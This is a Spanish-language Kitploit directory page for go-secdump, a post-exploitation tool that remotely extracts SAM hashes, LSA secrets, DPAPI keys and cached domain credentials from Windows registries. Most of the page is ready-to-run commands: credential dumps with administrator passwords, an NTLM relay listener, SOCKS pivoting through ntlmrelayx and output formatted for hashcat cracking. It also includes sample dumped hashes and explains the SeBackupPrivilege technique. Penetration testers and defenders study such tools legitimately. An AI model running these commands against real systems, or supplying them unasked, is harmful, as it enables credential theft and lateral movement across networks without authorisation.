Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
go-secdump — Herramienta para volcar secretos de forma remota desde el registro de Windows. | Kitploit
Herramientas/GitHubGitHub/jfjallid/go-secdump
Descifrado de ContraseñasHerramientas de Cifrado/DescifradoMovimiento LateralPost-ExplotaciónPruebas de PenetraciónAutenticaciónRed Teaming
GitHubjfjallid/go-secdump

go-secdump

Herramienta para volcar secretos de forma remota desde el registro de Windows.

Ver Repositorio
53460hace 1 mesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

go-secdump

Descripción

El paquete go-secdump es una herramienta diseñada para extraer de forma remota hashes del hive del registro SAM, así como secretos LSA y hashes en caché del hive SECURITY, sin necesidad de un agente remoto y sin tocar el disco.

La herramienta está construida sobre la biblioteca go-smb y la utiliza para comunicarse con el Registro Remoto de Windows para recuperar claves de registro directamente desde la memoria.

Fue creada como una experiencia de aprendizaje y como una prueba de concepto de que debería ser posible recuperar de forma remota los hashes NT del hive SAM, los secretos LSA y las credenciales en caché del dominio sin tener que guardar primero los hives del registro en disco y luego analizarlos localmente.

El principal problema a superar era que los hives SAM y SECURITY solo son legibles por NT AUTHORITY\SYSTEM. Sin embargo, noté que los administradores del grupo local tenían permiso WriteDACL en los hives del registro y, por lo tanto, podían usarse para otorgar temporalmente acceso de lectura a sí mismos para recuperar los secretos y luego restaurar los permisos originales.

Sin embargo, se descubrió un enfoque mejor (febrero de 2025) por Julien Egloff de Synacktiv. La solicitud BaseRegOpenKey utilizada para abrir manejadores de claves de registro tiene una opción para afirmar el SeBackupPrivilege, lo que nos permite abrir las claves de registro sin cambiar primero las DACL. La herramienta se ha actualizado para preferir este nuevo enfoque y solo cambiar las DACL si se solicita explícitamente.

Créditos

Gran parte del código de este proyecto está inspirado/tomado de secdump de Impacket, pero convertido para acceder al registro de Windows de forma remota y solo acceder a las claves de registro necesarias.

Algunas de las otras fuentes que han sido útiles para comprender la estructura del registro y los métodos de cifrado se enumeran a continuación:

https://www.passcape.com/index.php?section=docsys&cmd=details&id=23

http://www.beginningtoseethelight.org/ntsecurity/index.htm

https://social.technet.microsoft.com/Forums/en-US/6e3c4486-f3a1-4d4e-9f5c-bdacdb245cfd/how-are-ntlm-hashes-stored-under-the-v-key-in-the-sam?forum=win10itprogeneral

La idea de usar SeBackupPrivilege provino de Synacktiv: https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump

Uso

root@kitploit:~
Uso: ./go-secdump [opciones]

opciones:
      --host <objetivo>        Nombre de host o dirección IP del servidor remoto. Debe ser nombre de host cuando se use Kerberos
  -P, --port <puerto>          Puerto SMB (por defecto 445)
  -d, --domain <dominio>       Nombre de dominio para iniciar sesión
  -u, --user <usuario>         Nombre de usuario
  -p, --pass <contraseña>      Contraseña
  -n, --no-pass                Deshabilitar solicitud de contraseña y no enviar credenciales
      --hash <hash NT>         Hash NT codificado en hexadecimal para la contraseña del usuario
      --local                  Autenticarse como usuario local en lugar de usuario de dominio
  -k, --kerberos               Usar autenticación Kerberos. (Se verificará KRB5CCNAME en Linux)
      --dc-ip <ip>             Opcionalmente especificar IP del KDC al usar autenticación Kerberos
      --target-ip <ip>         Opcionalmente especificar IP del objetivo al usar autenticación Kerberos
      --aes-key <hex>          Usar una clave AES128/256 codificada en hexadecimal para autenticación Kerberos
      --keytab-file <archivo>  Autenticarse usando claves de un archivo keytab (implica -k). El usuario y
                               dominio se toman de la primera entrada del keytab si no se especifican
      --dns-host <ip[:puerto]> Sobrescribir el resolvedor DNS predeterminado del sistema
      --dns-tcp                Forzar búsquedas DNS sobre TCP. Verdadero por defecto al usar --socks-host
      --dump                   Guarda los hives SAM y SECURITY en disco y
                               los transfiere a la máquina local.
      --sam                    Extraer secretos del hive SAM explícitamente. Solo se incluyen otros objetivos explícitos.
      --lsa                    Extraer secretos LSA explícitamente. Solo se incluyen otros objetivos explícitos.
      --dcc2                   Extraer cachés DCC2 explícitamente. Solo se incluyen otros objetivos explícitos.
      --misc                   Extraer secretos misceláneos del registro como la
                               DefaultPassword de Winlogon explícitamente. Solo se incluyen otros objetivos explícitos.
      --modify-dacl            Cambiar las DACL de las claves de registro antes del volcado.
                               Solo es necesario si las claves no se pueden abrir usando SeBackupPrivilege. (por defecto falso)
      --backup-dacl            Guardar las DACL originales en disco antes de la modificación
      --restore-dacl           Restaurar las DACL usando la copia de seguridad en disco. Podría ser útil si la restauración automática falla.
      --backup-file <archivo>  Nombre de archivo para la copia de seguridad de DACL (por defecto dacl.backup)
      --relay                  Iniciar un listener SMB que retransmitirá
                               autenticaciones NTLM entrantes al servidor remoto y
                               usar esa conexión. NOTA: esto fuerza SMB 2.1
                               sin cifrado.
      --relay-port <puerto>    Puerto de escucha para la retransmisión (por defecto 445)
      --socks-host <objetivo>  Establecer conexión a través de un servidor proxy SOCKS5
      --socks-port <puerto>    Puerto del proxy SOCKS5 (por defecto 1080)
  -t, --timeout <duración>     Tiempo de espera de conexión en formato 5s o 2m (por defecto 5s)
      --noenc                  Deshabilitar cifrado SMB
      --smb2                   Forzar SMB 2.1
      --debug                  Habilitar registro de depuración. Sólo --debug activa todos los
                               paquetes registrados; --debug=msrrp,smb activa solo los
                               sufijos de nombre de paquete listados (se requiere la forma '='
                               para el filtro).
      --verbose                Habilitar registro detallado. Misma sintaxis de filtro que --debug.
                               --debug y --verbose pueden combinarse con diferentes
                               filtros; un paquete objetivo de ambos recibe el nivel más alto.
      --list-log-packages      Listar los nombres de paquetes de registro que pueden ser
                               objetivo con --debug=<sufijo> o --verbose=<sufijo>,
                               luego salir
  -o, --output <archivo>       Nombre de archivo para escribir resultados (por defecto es stdout). Se agregará al archivo si existe.
      --output-format <fmt>    Formato de salida: text (por defecto), json o hashcat
      --history                Incluir secretos LSA históricos (OldVal) además de los valores actuales
  -q, --quiet                  Suprimir encabezados informativos; imprimir solo secretos
  -v, --version                Mostrar versión

Cambio de DACL

Ahora solo como una característica opcional habilitada con --modify-dacl, go-secdump intentará automáticamente modificar y luego restaurar las DACL de las claves de registro requeridas. Sin embargo, si algo sale mal durante la parte de restauración, como una desconexión de red u otra interrupción, el registro remoto quedará con las DACL modificadas.

Usando el argumento --backup-dacl es posible almacenar una copia serializada de las DACL originales antes de la modificación. Si ocurre un problema de conectividad, las DACL se pueden restaurar posteriormente desde el archivo usando el argumento --restore-dacl.

Ejemplos

Volcar todos los secretos del registro usando el truco SeBackupPrivilege

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local
o
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam --lsa --dcc2

Volcar solo secretos SAM, LSA, caché DCC2 o misceláneos del registro

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --sam
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --lsa
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --dcc2
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --misc

El objetivo --misc extrae secretos misceláneos del registro que no pertenecen a los hives SAM/LSA/DCC2, actualmente el DefaultPassword de auto-logon de Winlogon (y el asociado DefaultUserName) cuando está presente.

Secretos LSA históricos, formatos de salida y modo silencioso

Incluir secretos LSA históricos (OldVal) además de los valores actuales con --history. Escribir resultados en un archivo con -o/--output (se agrega si existe) y elegir cómo se formatean los secretos con --output-format:

  • text (por defecto) — legible por humanos
  • json — un array JSON de registros tipados, útil para procesamiento posterior
  • hashcat — hashes NT simples (modo 1000) y líneas $DCC2$ (modo 2100) listos para alimentar a hashcat

Use -q/--quiet para suprimir los encabezados informativos y el resumen, de modo que solo se impriman los propios secretos.

root@kitploit:~
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --history --output-format json -o secrets.json
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --output-format hashcat --quiet

Registro por paquete

Listar los nombres de paquetes de registro que pueden ser objetivo, luego habilitar la depuración o el registro detallado para paquetes específicos (coincidiendo por sufijo de nombre) en lugar de todos:

root@kitploit:~
./go-secdump --list-log-packages
./go-secdump --host DESKTOP-AIG0C1D2 --user Administrator --pass adminPass123 --local --debug=msrrp,smb

Retransmisión NTLM

Volcar secretos del registro usando retransmisión NTLM

Iniciar listener

root@kitploit:~
./go-secdump --host 192.168.0.100 -n --relay

Desencadenar una autenticación a su máquina desde un cliente con acceso administrativo a 192.168.0.100 de alguna manera y luego esperar los secretos volcados.

root@kitploit:~
YYYY/MM/DD HH:MM:SS smb [Notice] Client connected from 192.168.0.30:49805
YYYY/MM/DD HH:MM:SS smb [Notice] Client (192.168.0.30:49805) successfully authenticated as (domain.local\Administrator) against (192.168.0.100:445)!
Net-NTLMv2 Hash: Administrator::domain.local:34f4533b697afc39:b4dcafebabedd12deadbeeffef1cea36:010100000deadbeef59d13adc22dda0
2023/12/13 14:47:28 [Notice] [+] Signing is NOT required
2023/12/13 14:47:28 [Notice] [+] Login successful as domain.local\Administrator
[*] Dumping local SAM hashes
Name: Administrator
RID: 500
NT: 2727D7906A776A77B34D0430EAACD2C5

Name: Guest
RID: 501
NT: <empty>

Name: DefaultAccount
RID: 503
NT: <empty>

Name: WDAGUtilityAccount
RID: 504
NT: <empty>

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC: 0x15deadbeef645e75b38a50a52bdb67b4
$MACHINE.ACC:plain_password_hex:47331e26f48208a7807cafeababe267261f79fdc38c740b3bdeadbeef7277d696bcafebabea62bb5247ac63be764401adeadbeef4563cafebabe43692deadbeef03f...
[*] DPAPI_SYSTEM
dpapi_machinekey: 0x8afa12897d53deadbeefbd82593f6df04de9c100
dpapi_userkey: 0x706e1cdea9a8a58cafebabe4a34e23bc5efa8939
[*] NL$KM
NL$KM: 0x53aa4b3d0deadbeef42f01ef138c6a74
[*] Dumping cached domain credentials (domain/username:hash)
DOMAIN.LOCAL/Administrator:$DCC2$10240#Administrator#97070d085deadbeef22cafebabedd1ab
...

Proxy SOCKS

Volcar secretos usando un proxy SOCKS5 ascendente ya sea para pivotear o para aprovechar la funcionalidad de servidor SOCKS de ntlmrelayx.py de Impacket.

Cuando se usa ntlmrelayx.py como proxy ascendente, el nombre de usuario proporcionado debe coincidir con el del cliente autenticado, pero la contraseña puede estar vacía.

root@kitploit:~
./ntlmrelayx.py -socks -t 192.168.0.100 -smb2support --no-http-server --no-wcf-server --no-raw-server
...

./go-secdump --host 192.168.0.100 --user Administrator -n --socks-host 127.0.0.1 --socks-port 1080
Descargar herramienta